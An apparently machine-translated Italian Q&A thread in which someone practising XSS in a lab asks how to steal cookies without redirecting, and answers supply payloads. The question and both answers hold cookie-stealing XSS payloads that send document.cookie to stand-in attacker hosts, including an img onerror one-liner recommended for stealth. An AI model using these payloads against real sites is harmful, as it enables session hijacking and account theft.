cookie XSS che ruba senza reindirizzare a un'altra pagina

18

Mi sto esercitando in VM seguendo la guida OWASP. So che è possibile rubare il cookie reindirizzando alla pagina "False" ecc. Ma vorrei rubare il cookie senza reindirizzare su un'altra pagina.

Quindi, se hai qualche libro degli ospiti e poi inserisci:

document.location= "http://www.example.com/cookie_catcher.php?c=" + document.cookie

Come posso inserirlo in una pagina esistente senza reindirizzamento?

Fondamentalmente, quello che voglio è quando qualcuno fa clic sul link, prende il cookie e lo stampa da qualche parte sulla pagina corrente. Forse in qualche tag alt o altro.

Qualche idea?

    
posta Thomas 22.01.2014 - 19:23
fonte

2 risposte

25

Se hai il pieno controllo del JavaScript scritto nella pagina, puoi farlo

document.write('cookie: ' + document.cookie)

Se vuoi che venga inviato a un altro server, puoi includerlo in un'immagine inesistente:

document.write('<img src="https://yourserver.evil.com/collect.gif?cookie='+document.cookie+'" />')

La chiave qui è se puoi pubblicare un codice JavaScript arbitrario o se sei limitato nel tipo di JavaScript che puoi eseguire. Tuttavia, se sei limitato a ciò che può essere pubblicato, potresti utilizzare metodi più avanzati per ottenere il tuo codice personalizzato da eseguire, che sono un po 'fuori dal campo di applicazione della domanda.

    
risposta data 22.01.2014 - 19:48
fonte
8

Per aggiungere alla risposta di Steve, ci sono molti modi per ottenere questo risultato. Se la tua intenzione è di non far conoscere all'utente il cookie rubato, ti suggerirei l'attacco <img> suggerito da Steve. Anche se preferisco evitare document.write dal momento che utilizza tanti caratteri:

<img src=x onerror=this.src='http://yourserver/?c='+document.cookie>
    
risposta data 23.05.2014 - 09:49
fonte

Leggi altre domande sui tag